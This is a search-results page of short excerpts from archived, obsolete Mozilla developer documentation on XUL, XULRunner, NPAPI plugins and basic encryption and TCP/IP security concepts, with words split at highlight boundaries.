...w.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this will cause the x and y position of the window and the width and height of the window to be saved. we could extend it further to save the collapsed state of the splitter. it doesn't really make sense to save the current tab state. find files example so far : source view next, we'll look at using style sheets with xul files. « p
reviousnext » ...
Popup Menus - Archive of obsolete content
xul also has the capability of creating popup menus. popup menus are typically displayed when the user presses the right mouse button. creating a popup menu xul has three different types of popups, described below. the main difference is the way in which they appear. plain popups the plain popup is a popup window which appears when the user presses the left mouse button on an element. they are much like the menus on the menu bar, except that they can be placed anywhere and can contain any content. a good example is the drop down menu that appears when you click on the little down arrows next to the back and forward buttons in a browser window. ...
... added to the first tabpanel. ...
Progress Meters - Archive of obsolete content
adding a progress meter a progress meter is a bar that indicates how much of a task has been completed. you typically see it when downloading files or when performing a lengthy operation. xul has a progressmeter element which can be used to create these. there are two types of progress meters: determinate and indeterminate. determinate progress meters are used when you know the length of time that an operation will take. the progress meter will fill up and, once full, the operation should be finished. this can be used for the download file dialog as the size of the file is known. indeterminate progress meters are used when you do not know the length of time of an operation. ...
...earch was occurring. ...
Property Files - Archive of obsolete content
property files are used instead. properties dtd files are suitable when you have text in a xul file. however, a script does not get parsed for entities. in addition, you may wish to display a message which is generated from a script, if, for example, you do not know the exact text to be displayed. for this purpose, property files can be used. a property file contains a set of strings. you will find property files alongside the dtd files with a .properties extension. properties in the file are declared with the syntax name=value. an example is shown below: notfoundalert=no files were found matching the criteria. deletealert=click ok to have all your files deleted. resultmessage=%2$s files found in the %1$s directory. ...
... escape sequences to express some characters. property files support escape sequences of the form: \uxxxx , where xxxx is a unicode character code. ...
RDF Datasources - Archive of obsolete content
other mozilla datasources mozilla provides a number of other built-in datasources. some of them are listed here with a few examples. they work very similarly to the bookmarks, although the fields will be different in each case. the history list the history datasource provides access to the user's history list which is the list of urls the user has visited recently. the resource can be referred to using rdf:history as the datasource. the table below shows the resources (or fields) that you can retrieve from the history datasource. put the url values below where you want the value of the resource to be used. ...
...one will match. ...
Scroll Bars - Archive of obsolete content
adding scroll bars a scroll bar is typically used so that a user can move around in a large document. you can also use it when you need to ask for a value that falls within a certain range. scroll bars can be created in a number of ways. in xul, one can be created using the scrollbar tag. some elements, such as text boxes, will also add scroll bars as necessary when the content inside is too large. in this section, we'll discuss creating a stand-alone scroll bar. the user will set the value by adjusting the scroll bar. you probably won't use this too often. ...
...arther with each click. ...
Scrolling Menus - Archive of obsolete content
creating a large menu you might wonder what happens if you create a menu with a lot of commands on it, such that all the items won't fit on the screen at once. mozilla will provide a scrolling mechanism that will allow you to scroll through the items. if the available space is too small, arrows will appear on each end of the menu. if you move the mouse over the arrows, the menu will scroll up and down. if the available space is large enough, the arrows will not appear. note that the exact behavior of the scrolling will depend on the current theme. this behavior is automatic. you do not have to do anything in order to get scrolling menus. ...
...ght of the window, the scroll arrows will appear. ...
Simple Menu Bars - Archive of obsolete content
creating a menu xul has a number of different ways of creating menus. the most basic way is to add a menu bar with a row of menus on it like many applications have. you can also create popup menus. the menu features of xul consist of a number of different elements which allow you to create menu bars or popup menus. the items on the menus can be customized quite easily. we've already seen part of how to make menus using the menulist. this section will build on that. menu bars are usually created much like a toolbar. the menu bar can optionally be placed inside a toolbox and the menu would work just like any other toolbar. ...
... in the text. ...
Splitters - Archive of obsolete content
splitting a box there may be times when you want to have two sections of a window where the user can resize the sections. an example is the mozilla browser window, where you can change the size of the sidebar panel by dragging the bar in-between the two frames. you can also hide the sidebar by clicking the notch. splitter element this feature is accomplished using an element called a splitter. it creates a skinny bar between two sections which allows these sections to be resized. you can place a splitter anywhere you want and it will allow resizing of the elements that come before it and the elements that come after it in the same box. ...
...the splitter is dragged down. ...
Stack Positioning - Archive of obsolete content
placement of stack children normally, the child elements of a stack stretch to fit the size of the stack. however, you may also place the children at specific coordinates. for example, if a stack has two buttons as children, one may be placed 20 pixels from the left edge and 50 pixels from the top edge. the second button can be placed at 100 pixels from the left edge and 5 pixels from the top edge. the position of a child element may be specified by placing two attributes on the element. for the horizontal position, use the left attribute and for the vertical position, use the top attribute. ...
..."200" > <!-- some content here. ...
Stacks and Decks - Archive of obsolete content
the stack and deck elements can be used for this purpose. containers each xul box is a container that can contain any other element. there are a number of elements that are specialized types of boxes, such as toolbars and tabbed panels. the box tag creates the simplest box with no special properties. however, the specialized types of boxes work just like regular boxes in the way they orient the elements inside them, but they have additional features. in fact, many components can contain other elements. we've already seen that buttons may contain other things besides the default. ...
...is a box with two elements inside it. ...
The Chrome URL - Archive of obsolete content
the chrome url xul files can be referenced with a regular http url (or any type of url) just like html files. however, packages that are installed into mozilla's chrome system can be referenced with special chrome urls. the packages included with mozilla will already be installed but you can register your own. installed packages have the advantage that they don't have security restrictions placed on them, which is necessary for many applications. another advantage over other url types is that they automatically handle multiple themes and locales. ...
...e it is located on disk. ...
Toolbars - Archive of obsolete content
xul has a method to create toolbars. adding a toolbar like a number of elements, xul toolbars are a type of box. usually, a row of buttons would appear in the toolbar, but any element can be placed in a toolbar. for example, the mozilla browser window contains a textbox that displays the page url. toolbars may be placed on any side of the window, either horizontally or vertically. of course you wouldn't normally put a textbox in a vertical toolbar. actually, because toolbars are just boxes they can actually go anywhere you want, even in the middle of a window. ...
...wo buttons has been added here. ...
Trees - Archive of obsolete content
the tree one of the more complex elements in xul is the tree. a tree may be used to display rows of text in columns. it can be used with rows either in a flat list or arranged into a hierarchy. a tree also allows the user to rearrange, resize and hide individual columns. some examples of trees include the list of messages in a mail application, or the bookmarks window in mozilla. in some ways, a tree has some similarities with the listbox. both can be used to create tables of data with multiple rows and columns, and both may contain column headers. the tree also supports nested rows, whereas the listbox does not. ...
... column will appear twice as wide due to the larger flexibility. a single row has been added to demonstrate what the table would look like with a row. in a real implementation, the rows would be added by a script as the search was performed, or a custom view would be created to hold the data. find files example so far : source view next, we'll learn how to create more advanced trees. « p
reviousnext » ...
Updating Commands - Archive of obsolete content
invoking commands if a command has an oncommand attribute, you can invoke it just by using the docommand method of the command or an element which links to it. for other commands, you will need to use a couple of additional lines of code. you will need to use these extra steps when invoking commands implemented by a controller. in addition, you will need to do this when creating your own menu commands, for instance to implement the edit menu commands in your own application. fortunately, the extra code is fairly simple. all we need to do is get the needed controller and call the command. ...
...pdateselecteditmenuitems()"/> <commandset id="undoeditmenuitems" commandupdater="true" events="undo" oncommandupdate="goupdateundoeditmenuitems()"/> <commandset id="clipboardeditmenuitems" commandupdater="true" events="clipboard" oncommandupdate="goupdatepastemenuitems()"/> next, we'll find out how to use observers. « p
reviousnext » ...
Using Spacers - Archive of obsolete content
adding spacers one of the problems with developing user interfaces is that each user has a different display. some users may have larger displays with higher resolutions and others may have lower resolutions. in addition, different platforms may have special requirements on the user interface. if adding support for multiple languages, the text for one language may require more room than another. applications that need to support multiple platforms and languages usually have their windows laid out with lots of space to allow for this. ...
...here. ...
XBL Attribute Inheritance - Archive of obsolete content
inherited attributes xbl allows us to build composite widgets while hiding their actual implementation. however, with the features mentioned so far, the anonymous content is always created in the same way. it would be useful to add attributes to the bound elements that modify the inner elements. for example: xul: <searchbox/> xbl: <binding id="searchbinding"> <content> <xul:textbox/> <xul:button label="search"/> </content> </binding> in the example, the label attribute has been placed directly on the button element. the problem with this is that the label would be the same every time the binding was used. ...
...s will automatically change the values on the buttons. you may also have noticed that we just made up our own attribute names. this is valid in xul. if you need to map an attribute to the text content of the node, use "xbl:text" as the inner attribute, eg: <xul:description xbl:inherits="xbl:text=value"/> in the next section, we look at adding properties, methods and events to a binding. « p
reviousnext » ...
XBL Inheritance - Archive of obsolete content
inheritance sometimes you may want to create an xbl widget that is similar to an existing one. for example, let's say you want to create an xbl button with a popup. one way to create this is to duplicate the existing xbl code for buttons. however, it would be better to simply extend the existing button code. any binding can be extended with another. the child binding can add properties, methods and event handlers. the child binding will have all the features it defines in addition to the features from the binding it inherits from (and any that binding inherits from and so on up the tree). to extend an existing binding, add an extends attribute on to the binding tag. ...
... searchsessions to indicate what type of data to look up. in this case, the value history is used, which looks up urls in the history. (you can also use the value addrbook to look up addresses in the address book.) firefox uses a different autocomplete mechanism than the mozilla suite, see xul:textbox (firefox autocomplete) in the next section, we'll see an example xbl-defined widget. « p
reviousnext » ...
XPCOM Examples - Archive of obsolete content
window management this example contains rdf datasource that will be seen in the later section. you might skip this example for the time being, except when you have already had that knowledge. creating a window menu the list of currently open mozilla windows can be used as an rdf datasource. this allows you to create a window menu with a list of the currently open windows in the application. the datasource for this is rdf:window-mediator. ...
...finally, an item is added to the menu for the cookie. the host, name and value properties of the cookie are used for this. menus have an appenditem() function which can be used to add an item to the menu, given a label and a value. see also more examples are available below. code snippets http://kb.mozillazine.org/category:xpcom_example_code next, we'll look at how to create trees. « p
reviousnext » ...
XPCOM Interfaces - Archive of obsolete content
calling native objects by using xul we can build a complex user interface. we can attach scripts which modify the interface and perform tasks. however, there are quite a number of things that cannot be performed directly with javascript. for example, if we wanted to create a mail application, we would need to write scripts which would connect to mail servers to retrieve and send mail. javascript does not have the capability to do such things. the only way to handle this would be to write native code that would get mail. we also need to have a way for our scripts to call the native code easily. ...
...y() provided by this interface can be used to add bookmarks. the first two parameters to this function are the bookmark's url and its title. the third parameter is the bookmark type which will normally be 0 and the last parameter is the character encoding of the document being bookmarked, which may be null. next, we will see some of the interfaces provided with mozilla that we can use. « p
reviousnext » ...
XUL Structure - Archive of obsolete content
how xul is handled in mozilla, xul is handled in much the same way as html or other types of content are handled. when you type the url of an html page into the browser's address field, the browser locates the web site and downloads the content. the mozilla rendering engine takes the content in the form of html source and transforms it into a document tree. the tree is then converted into a set of objects that can be displayed on the screen. style sheets (css), images, and other technologies are used to control the presentation. xul functions in much the same way. ...
... by all users while the latter allows packages to be created only for a specific user or users. extensions, while installed in a separate extensions directory, are also usually user specific. any manifest files located in either chrome directory will be examined to see which packages are installed. in the next section, we'll look at how to refer to chrome packages using the chrome url. « p
reviousnext » ...
XUL element attributes - Archive of obsolete content
domain as the document. dir type: one of the values below the direction in which the child elements of the element are placed. normal for scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). for other elements, they are placed right to left or bottom to top. this is
reverse of the order in which they appear in the xul code. empty type: boolean set to true if the element is a container that contains no children. this will be set by the...
...inside the element with the attribute will be repeated for each node in the rdf datasource. elements outside will appear only once. wait-cursor type: boolean set this attribute to true to have the cursor switch to a waiting cursor while the mouse is hovering over the element. usually, you would only use this on the window element or other top-level elements. in order to
revert to the normal cursor state call the method removeattribute("wait-cursor") when the process effectively has ended otherwise the wait cursor might never disappear. width type: string (representing an integer) the preferred width of the element. the value should not include a unit as all values are in pixels. the actual displayed width may be different if the element or its contents hav...
button - Archive of obsolete content
e to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
...{ max-width: none; } dir type: one of the values below the direction in which the child elements of the element are placed. normal for scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). for other elements, they are placed right to left or bottom to top. this is
reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element i...
preference - Archive of obsolete content
perty which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. instantapply type: boolean if true, the preference will be changed as soon as the user interface is modified. inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the
reverse of the user interface element attached to it. for instance, checking the checkbox disables the preference instead of enabling it. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. overview an onchange attribute is an event listener to the object for the event change. a change event...
...r this preference. this is true if either the element has an instantapply attribute set to true, or the <prefwindow>'s instantapply property is true. (but note bug 451025.) inverted type: boolean gets and sets the value of the inverted attribute. locked type: boolean if true, the preference has been locked and disabled in the system configuration, p
reventing the value from being changed. this property is read-only. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. preferences type: element reference to the containing preferences element. readonly type: boolean if set to true, then the use...
tabbrowser - Archive of obsolete content
returns the xul tab which contains the specified browser. gettabmodalpromptbox( browser ) return type: object returns an object that manages tab-modal prompts for the specified browser. returns a promptbox object representing the new prompt. goback() return type: no return value go back one page in the history. gobackgroup() not in firefox return type: no return value returns to the p
revious group of tabs. goforward() return type: no return value go forward one page in the history. goforwardgroup() not in firefox return type: no return value go forward to the next group of tabs. gohome() return type: no return value load the user's home page into the browser. gotoindex( index ) return type: no return value navigate to the page in the history with the given index.
... load. a referreruri property may also be optionally used to set the referrer page. this method returns an array of the session history objects for the tabs that were removed. selecttabatindex( index, event ) return type: no return value selects the tab at the given index. index values may be positive or negative. if the event argument is supplied, the default event handling will be p
revented and propagation stopped. seticon( atab, auri ) return type: no return value sets the specified tab's favicon to the image specified by auri. see geticon to get the current icon. showonlythesetabs( atabs ) return type: no return value makes all tabs in the atabs array visible, and all other tabs hidden. stop() return type: no return value equivalent to pre...
toolbarbutton - Archive of obsolete content
ute to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
... { max-width: none; } dir type: one of the values below the direction in which the child elements of the element are placed. normal for scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). for other elements, they are placed right to left or bottom to top. this is
reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is...
tree - Archive of obsolete content
datasource. dom treeitems are not created. even though the template uses treeitem elements to define the content, dom nodes for these elements are not created. this is the type that should be used for rdf generated trees with lots of rows. rdf content tree nsitreeview, nsixultreebuilder, nsitreecontentview yes this tree is generated from an rdf datasource. it is similar to the p
revious type but is used when the tree does not have dont-build-content in its flags attribute. dom treeitems are created, so you can access the data using rdf functions or dom functions. this type is suitable for rdf generated trees with a fairly small number of rows. custom tree view nsitreeview no for this tree you implement the nsitreeview interface yourself. the tree's data is ...
...e tree view's nsitreeview.getcelltext() method is called to obtain the cell contents. stopediting( shouldaccept ) return type: no return value stops editing the cell currently being edited. if the shouldaccept parameter is true, the cell's label is changed to the edited value (the tree view's nsitreeview.setcelltext() method is called to change the cell contents). otherwise the cell label is
reverted to the value it had prior to editing. related elements treecols, treecol, treechildren, treeitem, treerow, treecell and treeseparator.. interfaces nsiaccessibleprovider, nsidomxultreeelement, nsidomxulmultiselectcontrolelement script examples to have alternating colors for each row, use the style rules like the following: treechildren::-moz-tree-row(selected) { background-color: ...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 1.8.0.4 is now available as a security/stability update; all users should install this new version. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
...d to /usr/lib/vendor/applicationname known issues firewall software may identify all xul applications as the same application. on microsoft windows xp, all xul applications may wind up being grouped together in the taskbar. frequently asked questions why is installing xulrunner so painful? why isn't there a nice installer? because nobody has written that code yet! this is a developer p
review release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases. i'm writing a xul application, how can i deploy that application to my users? right now mozilla recommends that xulrunner should be deployed privately with each application. see deploying xulrunner 1.8 for more information. where is the source code...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
it replaces version 1.8.0.1; all users should upgrade. it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. as of december 2008,xulrunner 1.9.0.4 is available in the "gecko 1.9.0" branch upon which firefox 3 is based. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
... to /usr/lib/vendor/applicationname known issues firewall software may identify all xul applications as the same application. on microsoft windows xp, all xul applications may wind up being grouped together in the taskbar. frequently asked questions why is installing xulrunner so painful? why isn't there a nice installer? because nobody has written that code yet! this is a developer p
review release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases. i'm writing a xul application, how can i deploy that application to my users? right now mozilla recommends that xulrunner should be deployed privately with each application. see deploying xulrunner 1.8 for more information. where is the source c...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
ription: xul runner runtime; types: full custom [tasks] name: desktopicon; description: {cm:createdesktopicon}; groupdescription: {cm:additionalicons}; flags: unchecked name: quicklaunchicon; description: {cm:createquicklaunchicon}; groupdescription: {cm:additionalicons}; flags: unchecked [files] source: c:\develop\xulrunnerinstaller\myapp\myapp.exe; destdir: {app}; components: main; flags: igno
reversion source: c:\develop\xulrunnerinstaller\myapp\application.ini; destdir: {app}; components: main; flags: igno
reversion source: c:\develop\xulrunnerinstaller\myapp\chrome\*; excludes: .svn; destdir: {app}\chrome; components: main; flags: igno
reversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\defaults\*; excludes: .svn; destdir: {app}\defaults; components: main...
...: c:\develop\xulrunnerinstaller\myapp\application.ini; destdir: {app}; components: main; flags: igno
reversion source: c:\develop\xulrunnerinstaller\myapp\chrome\*; excludes: .svn; destdir: {app}\chrome; components: main; flags: igno
reversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\defaults\*; excludes: .svn; destdir: {app}\defaults; components: main; flags: igno
reversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\xulrunner\*; destdir: {app}\xulrunner; components: runtime; flags: igno
reversion recursesubdirs createallsubdirs ; note: don't use "flags: igno
reversion" on any shared system files [icons] name: {group}\my app; filename: {app}\myapp.exe name: {group}\{cm:uninstallprogram,xul explorer}; filename: {uninstallexe} name...
Deploying XULRunner - Archive of obsolete content
this means that while the release is immature in some areas such as embedding, application deployment, and os integration, it can be used by developers that are releasing standalone xul applications. this document explains how deployment should be managed for self contained portable applications built on xulrunner. note: to actually install a xulrunner application, a compatible version of xulrunner must be registered on the system and the app must be deployed per the instructions at xul application packaging. ...
...f your application icon (app_icon.icns). finally : you can use any paint or graphics utility to create your application's icon, which should be provided as a 512 by 512 pixel png file. to make it all work, change the permissions of your bundle by running chmod -r 755 yourapp.app. linux most linux applications are distributed as simple .tar.bz2 archives which can be unpacked by the user whe
rever they wish. the archive should be structured as follows: appname/ application.ini components/ ... components which are part of the application chrome/ ... chrome which is part of the application ... additional application files such as icons, etc myapplicationname (this is the "stub executable"... you should copy and rename this file fr...
Dialogs in XULRunner - Archive of obsolete content
this time i'll look at dialogs, including both custom dialogs and standard operating system dialogs. dialogs are pretty fundamental to a desktop application. certain types of dialogs are used so frequently that the os can provide a default implementation. file open and save dialogs are good examples of these. whenever possible, it is a good idea to reuse these "native" dialogs so users get a consistent experience across applications. custom dialogs building dialogs in xul is very similar to creating windows. each dialog is described in its own xul file. xul provides a dialog element to act as the container for the dialog. ...
...hange in future releases. firefox and thunderbird both support nearly native page setup and print dialogs. ...
Getting started with XULRunner - Archive of obsolete content
head and download the sample application, you can experiment with it while following this tutorial. you can download the sample application from https://github.com/matthewkastor/xulrunner-examples. please continue reading to learn the "what", "why" and "how" parts of building a xulrunner application. on windows, i created the root in a new c:\program files\myapp folder, but you can create it whe
rever you like, using whatever os you like. the same application structure is used on windows, mac and linux. here is the subfolder structure: + myapp/ | +-+ chrome/ | | | +-+ content/ | | | | | +-- main.xul | | | | | +-- main.js | | | +-- chrome.manifest | +-+ defaults/ | | | +-+ preferences/ | | | +-- prefs.js | +-- application.ini | +-- chrome.manifest notice that there are 5 files in the f...
...ture: application.ini, chrome.manifest (2), prefs.js, and main.xul. the /chrome/chrome.manifest file is optional, but might be useful for backward compatibility. see the note below. for more details on the structure of installable bundles in general see: structure of an installable bundle. note: in xulrunner 2.0, the chrome.manifest is now used to register xpcom components in addition to its p
revious uses. part of this change means the /chrome/chrome.manifest is no longer considered the "root" manifest. xulrunner will not check that folder location for a root-level chrome.manifest. you need to move your existing chrome.manifest to the application root folder, remembering to update the relative paths within the file. you could also just create a new application root-level manifest that inc...
Windows and menus in XULRunner - Archive of obsolete content
last time i installed xulrunner and built a very simple, bare-bones test application. this time i want to add some of the things common to a desktop application user interface: windows and dialogs menus and toolbars os common dialogs controls or widgets windows each window or dialog should be created in its own xul file. the xul file may also contain other top-level declarations for css and dtd, which i will discuss in a moment. <window> is the basic windowing element in xul. it has attributes to set the title/caption as well as to control its width and height. ...
... sure the png files are included in the application. there are quite a few things xul offers for application ui. ...
Gecko Compatibility Handbook - Archive of obsolete content
ok and close theoptions dialog. you can now start using the user-agent string you've just created by clicking tools | user agent switcher |the name you have chosen. you can verify the string got changed by looking under help | about. you can find the user agent strings of many gecko-based browsers here. if possible, also download the actual clients (netscape, aol, compuserve) for testing.
review your results the following scenarios all relate to browser detection. for more solutions to common problems please continue reading this handbook. problem: site supports standards but does not look right try picking the internet explorer 6 user-agent string. if this works, set up your detection to serve ie 6 content to visitors with gecko in their user-agent strings. ie 6.x is actually more...
... upgrade the browser detection javascript to detect "gecko." (related article) content differs in gecko browsers and internet explorer use of proprietary or invalid markup (such as is generated by some microsoft office applications). use the w3 html and css validator tools to validate the web page. correct any errors and replace proprietary code whe
rever possible. upgrade web authoring tool to versions that support the w3 standards and gecko browsers content differs in gecko browsers and internet explorer the javascript console in netscape 6.x and netscape 7.x displays errors about document.all, document.layers, document.<property> not being defined because of an incorrect browser sniffing, or use of proprietary javasc...
2006-11-17 - Archive of obsolete content
recepient? this user want to add a filter to his tb, so that it could color the mail that is for a particular recepient, however, the regular expression that he uses doesn't work and want suggestion from others. a few suggestion is posted. what file format is tb's address book using? tb's address book uses mork (file format). there are also some perl code provided in this link. how to get
review for work-in-progress patch? answer: cc whoever you need
review from, but don't post a formal
review. steps for posting a formal
review is provided also. how to access xyz.properties items more detail and code examples are provided in the posting. how to create top-level folders in inbox with an imap account on courier server. solution is provided by jay lee should there be an addition...
...ing. how to create top-level folders in inbox with an imap account on courier server. solution is provided by jay lee should there be an additional options for account configuration that just delete the messages from the server whenever they are deleted in tb? some discussion is posted. however, david bienvenu stated that the options already exist in tb 2.0, just that it is a hidden. code
review requested for smtp swticher no comment is made. meetings calendar project weekly status meeting - 2006/11/15 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/02 16:30 utc (meeting notes) ...
2006-10-20 - Archive of obsolete content
ity is to only the tests on builds from the official nightly machines. on october 20th j. paul reed responded to robert kaiser's post: j. paul reed replies to robert kaiser post and asks him to confirm the intention of his post. j. paul reed also questions why gtk1 is still being built since it is know to be unsupported on trunk. on october 20th boris zbarsky responded to j. paul reed p
revious post: boris zbarsky answered j. paul reed's question that was posted in his p
revious reply. j. paul reed had asked "why gtk1 was still being built". boris zbarsky's said: the reason why gtk1 builds are still being performed is because: when requests are made to change build boxes to newer versions the people responsible for making the change reply with "that would require an os upgrade". ...
...states his overall goal that are "getting us to not rely on hardware that you have to have in a certain position for it to boot" to use standard known configuration for every nightly build that is produced. he also points out that there is a wiki page where the standard reference platform for linux has been defined (for trunk builds). on october 20th boris zbarsky responded to j. paul reed p
revious post: in his post, boris zbarsky acknoleges the points that j. paul reed made in his p
revious post. meetings there were no meetings this week. summarized by: vanessa miranda & mohammad tirtashi ...
Logging Multi-Process Plugins - Archive of obsolete content
when multi-process plugins are enabled, firefox has the ability to dump additional information about interactions between the browser and a plugin. this is done using nspr logging. run firefox in a custom environment to enable this special logging mode. make sure you have write permissions to whe
rever you wish to save the log. your safest bet is your home directory (c:\users\username on windows vista and above, c:\documents and settings\username on windows xp, and ~ (home directory) on mac os x and linux). windows make sure firefox is not running. from within a command prompt: c:\> set nspr_log_modules=ipcplugins:5 c:\> set nspr_log_file=c:\plugins.log c:\> cd c:\program files\mozilla firefox c:\> firefox.exe the log file will be saved to c:\plugins.log (or whe
rever nspr_log_file is set). l...
...ipcplugins:5 c:\> set nspr_log_file=c:\plugins.log c:\> cd c:\program files\mozilla firefox c:\> firefox.exe the log file will be saved to c:\plugins.log (or whe
rever nspr_log_file is set). linux make sure firefox is not running. from within a bash shell: $ export nspr_log_modules=ipcplugins:5 $ export nspr_log_file=~/plugins.log $ /usr/bin/firefox the file will be saved to ~/plugins.log (or whe
rever nspr_log_file is set). ...
NPEvent - Archive of obsolete content
ent on mac os npevent is defined as an eventrecord data structure, which has the following fields: what integer representing an event type. both windowed and windowless plug-ins receive the same events. values: 0 nullevent 1 mousedown 2 mouseup 3 keydown 4 keyup 5 autokey 6 updateevt 7 diskevt 8 activateevt 15 osevt 23 khighlevelevent getfocusevent 0, 1 (true, false) losefocusevent adjustcurso
revent 0, 1 (true, false) for information about these events, see the mac os developer documentation. message longint. additional information about the event. type of information depends on the event type. undefined for null, mouseup, and mousedown events. when longint. ticks since start-up. where point. cursor location. modifiers integer. flags. xevent npevent on unix/x11 npevent is defined as ...
...instance until it receives a losefocusevent. if your plug-in ignores key events, return false, and the key events will be processed by the browser itself. losefocusevent: sent when the instance has lost the text focus, as a result of the user clicking elsewhere on the page or pressing the tab key to move the focus. no key events are sent to the instance until the next getfocusevent. adjustcurso
revent: sent when the mouse enters or leaves the bounds of the instance. if your plug-in wants to set the cursor when the mouse is within the instance, set the cursor and return true. if you don't want a special cursor, return false and the browser will use the standard arrow cursor. xwindows description the npevent object represents an event passed by npp_handleevent() to a windowless plug-in. th...
NPP_New - Archive of obsolete content
d is the primary content in the window. argc number of html arguments in the embed tag for an embedded plug-in; determines the number of attributes in the argn and argv arrays. argn[] array of attribute names passed to the plug-in from the embed tag. argv[] array of attribute values passed to the plug-in from the embed tag. saved pointer to data saved by npp_destroy for a p
revious instance of this plug-in at the same url. if non-null, the browser passes ownership of the npsaveddata object back to the plug-in. the plug-in is responsible for freeing the memory for the npsaveddata and the buffer it contains. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. descrip...
...des. description npp_new creates a new instance of a plug-in. it is called after np_initialize and is passed the mime type, embedded or full-screen display mode, and, for embedded plug-ins, information about html embed arguments. a new instance pointer (npp instance) is created by the plug-in, which is valid until the instance is destroyed with npp_destroy. if instance data was saved from a p
revious instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use. all attributes in the embed tag (standard and private) are passed in npp_new in the argn and argv arrays. the browser ignores any non-standard attributes within an embed tag. this gives developers a chance to use private attributes to communicate instance-specific optio...
NPP_URLNotify - Archive of obsolete content
s_done (most common): completed normally. npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations. npres_network_err: stream failed due to problems with network, disk i/o, lack of memory, or other problems. notifydata plug-in-private value for associating a p
revious npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call. description the browser calls npp_urlnotify() after the completion of a npn_geturlnotify() or npn_posturlnotify() request to inform the plug-in that the request was completed and supply a reason code for the completion. the most common reason code is npres_done, indicating simply that the request com...
...ng simply that the request completed normally. other possible reason codes are npres_user_break, indicating that the request was halted due to a user action (for example, clicking the stop button), and npres_network_err, indicating that the request could not be completed, perhaps because the url could not be found. the parameter notifydata is the plug-in-private value passed as an argument by a p
revious npn_geturlnotify() or npn_posturlnotify() call, and can be used as an identifier for the request. see also npn_geturlnotify() npn_geturl() npn_posturlnotify() npn_posturl() ...
Encryption and Decryption - Archive of obsolete content
ion used for encryption or decryption. in most cases, two related functions are employed, one for encryption and the other for decryption. with most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt p
reviously encrypted information. decryption with the correct key is simple. decryption without the correct key is very difficult, and in some cases impossible for all practical purposes. the sections that follow introduce the use of keys for encryption and decryption. symmetric-key encryption public-key encryption key length and encryption strength symmetric-key encryption with symmetric-key...
... decrypts it with the corresponding private key. compared with symmetric-key encryption, public-key encryption requires more computation and is therefore not always appropriate for large amounts of data. however, it's possible to use public-key encryption to send a symmetric key, which can then be used to encrypt additional data. this is the approach used by the ssl protocol. as it happens, the
reverse of the scheme shown in figure 2 also works: data encrypted with your private key can be decrypted only with your public key. this would not be a desirable way to encrypt sensitive data, however, because it means that anyone with your public key, which is by definition published, could decrypt the data. nevertheless, private-key encryption is useful, because it means you can use your private k...
TCP/IP Security - Archive of obsolete content
. tcp/ip communications are composed of four layers that work together. when a user wants to transfer data across networks, the data is passed from the highest layer through intermediate layers to the lowest layer, with each layer adding information. at each layer, the logical units are typically composed of a header and a payload. the payload consists of the information passed down from the p
revious layer, while the header contains layer-specific information such as addresses. at the application layer, the payload is the actual application data. the lowest layer sends the accumulated data through the physical network; the data is then passed up through the layers to its destination. essentially, the data produced by a layer is encapsulated in a larger container by the layer below it. ...
...rotocol for tcp/ip. other commonly used protocols at the network layer are internet control message protocol (icmp) and internet group management protocol (igmp). data link layer. this layer handles communications on the physical network components. the best-known data link layer protocol is ethernet. security controls exist for network communications at each layer of the tcp/ip model. as p
